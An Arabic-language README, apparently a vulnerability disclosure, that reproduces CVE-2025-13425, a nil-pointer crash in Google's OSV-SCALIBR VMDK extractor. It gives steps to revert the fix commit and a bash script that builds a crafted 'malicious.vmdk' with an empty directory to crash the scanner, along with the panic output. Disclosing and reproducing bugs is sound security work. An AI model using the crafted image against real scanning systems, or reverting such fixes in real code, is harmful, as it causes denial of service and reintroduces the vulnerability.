
يحتوي هذا المستودع على تعليمات لإعادة إنتاج CVE-2025-13425: ثغرة Null Pointer dereference / Array over-indexing التي عثرت عليها في مشروع OSV-SCALIBR من Google.
لإعادة إنتاج CVE-2025-13425، اتبع الخطوات التالية:
الخطوة 1: استنساخ الكود المصدر الجديد لـ osv-scalibr:
$ git clone https://github.com/google/osv-scalibr
الخطوة 2: إزالة الكود المذكور في إصلاح الالتزام https://github.com/google/osv-scalibr/commit/e67c4e198ca099cb7c16957a80f6c5331d90a672
الخطوة 3: استخدام التصحيح vmdk.go.patch وتطبيقه على vmdk.go باستخدام:
$ cd osv-scalibr
$ git apply /path/to/vmdk.go.patch
لماذا نحتاج هذه التغييرات إلى vmdk.go؟
هذا مجرد مثال ولا يقتصر هذا الخطأ على إضافة vmdk فقط. هذا مطلوب لتفعيل الخطأ. يحدث الخطأ عندما يكتب شخص ما إضافته الخاصة التي تعبر نظام ملفات افتراضي يحتوي داخل ملف. الخطأ موجود في طريقة تعامل osv-scalibr مع أنظمة الملفات الافتراضية. لن يلاحظ هذا الخطأ أثناء التجميع أو الإنتاج ولكنه سيتم تفعيله عندما يقوم المستخدم بتقديم ملف vmdk يحتوي على دليل فارغ واحد على الأقل.
الخطوة 4: ترجمة الكود المصدر للحصول على ملف ثنائي "scalibr":
$ make clean && make
الخطوة 5: التفعيل باستخدام:
$ go test -v ./extractor/filesystem/embeddedfs/vmdk/
المخرجات المتوقعة:
...
=== RUN TestExtractValidVMDK/DiskImage_1
vmdk_test.go:87: GetEmbeddedFS() failed: unsupported filesystem type unknown for partition 2
--- FAIL: TestExtractValidVMDK (1.35s)
--- PASS: TestExtractValidVMDK/DiskImage_0 (0.02s)
--- FAIL: TestExtractValidVMDK/DiskImage_1 (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered]
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x7613e2]
...
أو
يمكنك إنشاء صورة vmdk ضارة (أو مصغرة) تحتوي على دليل فارغ. للقيام بذلك، أنشئ سكربت bash جديد بالكود التالي (مثلاً gen_malicious_vmdk.sh):
#!/usr/bin/env bash
dd if=/dev/zero of=valid.img bs=1M count=20
parted -s --align optimal valid.img --script mklabel gpt
parted -s --align optimal valid.img --script mkpart primary ext4 0% 100%
sudo losetup -fP valid.img
LOOPDEV=$(losetup -j valid.img | cut -d: -f1)
PARTITION1="${LOOPDEV}p1"
sudo mkfs.ext4 $PARTITION1
sudo rm -rf /mnt/valid*
sudo mkdir /mnt/valid
sudo mount ${PARTITION1} /mnt/valid
sudo mkdir /mnt/valid/empty_dir
sudo umount /mnt/valid
sudo losetup -d ${LOOPDEV}
sudo rm -rf /mnt/valid* *.vmdk
qemu-img convert valid.img -O vmdk malicious.vmdk
الآن:
$ chmod +x gen_malicious_vmdk.sh
$ ./gen_malicious_vmdk.sh
سيقوم بإنشاء ملف باسم "malicious.vmdk". الآن قم بتشغيل الثغرة باستخدام:
$ ./scalibr --extractors=embeddedfs/vmdk -o textproto=output.txt malicious.vmdk
المخرجات المتوقعة:
2025/11/05 19:02:45 Running scan with 1 plugins
2025/11/05 19:02:45 Paths to extract: [../try/malicious.vmdk]
2025/11/05 19:02:45 Scan roots: [%!s(*fs.ScanRoot=&{/ /})]
2025/11/05 19:02:45 Starting filesystem walk for root: /
2025/11/05 19:02:45 End status: 0 dirs visited, 1 inodes visited, 1 Extract calls, 124.392222ms elapsed, 124.392999ms wall time
2025/11/05 19:02:45 Starting filesystem walk for root:
panic: runtime error: invalid memory address or nil pointer dereference
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x1fbb303]
...
تم اكتشاف CVE-2025-13425 بواسطة Yuvraj Saxena ([email protected])